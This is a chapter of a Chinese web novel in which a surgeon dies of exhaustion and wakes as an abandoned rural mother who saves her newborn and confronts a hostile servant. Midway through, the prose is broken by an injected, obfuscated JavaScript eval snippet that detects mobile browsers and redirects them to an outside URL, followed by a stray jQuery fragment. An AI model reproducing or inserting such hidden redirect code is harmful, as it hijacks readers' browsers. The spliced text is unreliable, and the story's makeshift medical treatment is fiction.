最后一台手术的灯光熄灭时，柳清韵已经连续站了三十六个小时。
“柳医生，心脏复跳了！”
麻醉师的声音隔着口罩传来，柳清韵点头，手指稳稳地缝合最后的切口。
这是她今天第四台急诊手术，一个主动脉夹层破裂的孕妇，孩子保住了，母亲也——
视野突然摇晃。
无影灯的光晕炸开成白色烟花，她听见器械护士的惊呼，感觉身体向后倒去，后脑撞上冰冷的地面。
奇怪的是不疼，只有一种抽离感，像是灵魂正从疲惫的躯壳里挣脱出来。
黑暗吞噬了一切。
然后，痛。
撕裂般的痛从下腹炸开，像是有人用钝刀在里面反复搅动。
比痛更先抵达的是气味——浓烈的血腥味混合着霉变的稻草气息，直冲鼻腔。
柳清韵猛然睁开眼。
视线模糊了几秒才逐渐清晰。
昏暗的光线从破败的窗棂透进来，傍晚的余晖勉强勾勒出屋子的轮廓：低矮的茅草屋顶，土坯墙壁裂缝纵横，墙角挂着蛛网。她躺在一张硬板床上，身下是粗糙到硌人的草席，单薄的被褥潮湿冰冷，贴着皮肤令人忍不住打颤。
“呜……呜……”
微弱的婴儿啼哭从身侧传来。
柳清韵艰难地侧过头。
一个襁褓紧挨着她，里面的新生儿面色发紫，哭声细若游丝，每一次呼吸都带着不祥的抽气声——明显窒息缺氧。
“娘……娘醒了？”
门口传来颤抖的童音。
柳清韵循声望去。
两个瘦小的男孩蜷缩在门槛边，大的约莫七八岁，小的五六岁，都穿着打满补丁的单衣，在初春的寒意里冻得嘴唇发青。他们脸上写满惊恐，眼睛红肿，显然哭了很久。
就在她看向他们的瞬间，无数记忆碎片如潮水般涌入脑海。
原主也叫柳清韵，十七岁嫁入苏家，十八岁生长子文渊，二十岁生次子武毅，今年二十六岁，刚产下第三个孩子——一个女儿。她的丈夫苏明德是个秀才，三日前拿着休书扔在她产后虚弱的身上，理由是“无子”——女儿不算子。
真实原因是镇上的富商王员外看中苏明德“秀才相公”的身份，愿将独女嫁他，并资助他明年乡试。
苏家贫寒，公婆早逝，苏明德毫不犹豫选择了锦绣前程。
昨日，王家花轿吹吹打打进了苏家的新宅院——那是用王家的钱刚翻修好的青砖瓦房，离这处堆放杂物的破旧农舍不过一里路。
原主在产后的虚弱、被弃的绝望，以及屋外隐约传来的喜庆鞭炮声中，用一根草绳将自己挂上了房梁。
记忆在这里中断。
柳清韵闭上眼，深吸一口气。作为医生，她处理过太多危急情况，本能压倒了震惊。她快速评估现状：自己产后大出血未止，身下被褥已被血液浸透大半；新生儿重度窒息需立即抢救；两个儿子营养不良、惊吓过度；环境恶劣，无粮无药，甚至没有一口干净的水。
地狱开局。
但死过一次的人，最知道活着有多重要。
“文渊，”她开口，声音嘶哑得厉害，“过来。”
大儿子苏文渊愣住，显然没想到母亲会这样平静地叫他。
从前，娘总是怯怯的，说话不敢抬头，受了委屈只会偷偷抹泪。
“娘……”他试探着走近。
“把妹妹抱起来，轻轻拍她的背。”柳清韵尽量让声音平稳，尽管每说一个字都牵扯着腹部的剧痛，“慢一点，托住她的头颈。”
文渊小心翼翼地照做。他的手很瘦，却异常稳当。
柳清韵强撑起身，这个动作让她眼前发黑，额头上瞬间渗出冷汗。她咬紧牙关，伸手检查婴儿的口鼻——有羊水残留。没有吸痰设备，她直接俯身，用嘴对着婴儿细小的口鼻，轻柔而有力地吸出堵塞物。
“娘！”小儿子武毅惊呼。
柳清韵没时间解释。吐出污物后，她将婴儿平放在草席上，用两根手指在胸骨下半段进行规律按压——新生儿心肺复苏的改良版。一下，两下，三下……她的动作专业而果断，与这破旧农舍、与她苍白虚弱的病体形成诡异的反差。
文渊瞪大眼睛看着。他看见母亲的手指按压的位置、节奏，看见她低头给妹妹渡气时的专注侧脸。
有什么东西不一样了。
从前的娘总是垂着眼，现在的娘眼睛里有光，一种让人不敢打扰、却又莫名心定的光。
“咳……哇——”
终于，一声微弱的啼哭响起。
紧接着，哭声越来越响亮，新生儿的面色从紫绀转为红润，小小的胸膛规律起伏。
活了！！！
柳清韵瘫软下去，靠在墙上大口喘气。就这么几个简单的动作，几乎耗尽了她所有的体力。出血还在继续，她能感觉到温热的液体不断从身下涌出。
不能晕！
晕了就全完了。
“文渊，听我说。”柳清韵闭了闭眼，重新聚焦视线，“屋里还有干净布吗？任何干净的布。”
文渊飞快地从角落一个破木箱里翻出一件旧衣，虽然补丁叠补丁，但洗得发白，还算干净。
“撕成长条，叠成厚垫。”柳清韵指挥，“按在我小腹上，用力压住。”
男孩的手在抖，但还是照做了。
压力施加在伤口上带来剧痛，柳清韵闷哼一声，冷汗浸湿了鬓发，但出血似乎缓了些许。
“武毅，”她看向小儿子，“你也过来听。”
武毅蹭过来，眼睛紧紧盯着她。
“我需要几种草药，你可能在田埂、后山见过。”柳清韵用最简洁的语言描述，“第一种，叶子像手掌，开小紫花，掐断茎秆有红色汁液——叫枣儿红，也叫地榆。第二种，叶子细长，开白色穗状花，有清凉气味的——那是仙鹤草。第三种，任何能找到的艾草。”
武毅用力点头，小脸绷得紧紧的。
“记住，血见愁和仙鹤草各一把，艾草越多越好。找不到全部的话，有任何一种就先带回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313303|198903||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来。”柳清韵盯着他的眼睛，“能记住吗？”
“能！”武毅的声音带着哭腔，却异常坚定，“我跑得快，这就去！”
“等等。”柳清韵叫住他，“天快黑了，不要进深山，只在附近找。注意安全。”
男孩愣了一下。从前的娘只会哭着说“怎么办”，不会在这种时候还叮嘱他“注意安全”。他重重点头，像只小豹子一样冲了出去。
文渊仍跪在旁边，双手死死压着布垫，手指关节因为用力而发白。他低声问：“娘，您刚才救妹妹的法子……是从哪儿学的？”
柳清韵心中一动。
这孩子观察力敏锐，且在这种时候还能保持思考。
“梦里学的。”她给出一个无法证伪也无法深究的回答，随即转移话题，“你做得很好，手很稳。再坚持一刻钟，然后我们换姿势。”
文渊不再追问，只是轻轻“嗯”了一声。
天色渐渐暗下来。
破屋陷入昏沉，只有窗外最后一点天光勉强照明。
女婴的哭声逐渐转为平稳的呼吸，在柳清韵身侧睡着了。
文渊依旧维持着按压的姿势，手臂开始发抖，却咬牙坚持。
时间一分一秒过去。
就在柳清韵计算着武毅该回来的时候，屋外传来了脚步声——不止一个人。
“吱呀”一声，破旧的木门被粗鲁地推开。
一个穿着细棉布袄子的中年仆妇站在门口，身后跟着两个壮实的家丁。
仆妇用帕子捂着鼻子，一脸嫌恶地扫视屋内，目光在柳清韵身上停留片刻，撇了撇嘴。
“哟，还没死呢？”声音尖利刻薄，“命可真够硬的。”
文渊身体一僵，手下意识想去抓什么防身的东西，却记起自己还在给母亲压着伤口，不敢松手。他挺直脊背，瞪向来人——那是王家陪嫁过来的李妈妈，昨日就来过一趟，说了许多难听话。
柳清韵抬眼看过去。
记忆碎片浮现：这李妈妈是王小姐的乳母，最是跋扈，前日来送休书时，曾指着原主的鼻子骂“不下蛋的母鸡占着窝”。
“李妈妈有事？”柳清韵开口，声音虚弱，语气却平静无波。
这反应让李妈妈一愣。她本以为会看到一个哭哭啼啼、寻死觅活的女人。
“当然有事。”李妈妈抬高下巴，“我们小姐心善，念在你也算伺候过姑爷几年，许你们在这破屋再住一晚。但明日天亮之前，必须带着这几个小崽子滚出村子！我们王家的小姐，可不想日后在镇上听见什么‘前头那个’的闲话！”
文渊气得浑身发抖。武毅不在，他要保护娘和妹妹……
“这是苏家的祖产，”柳清韵慢慢地说，每个字都像在刀尖上滚过，却清晰无比，“虽破旧，地契上写的还是苏明德的名字。王家小姐尚未过门，就让家仆来驱赶秀才的原配妻儿——传出去，不知是王家小姐善妒不容人，还是苏秀才薄情寡义、宠妾灭妻？”
李妈妈脸色一变：“你胡说什么！姑爷已经休了你！”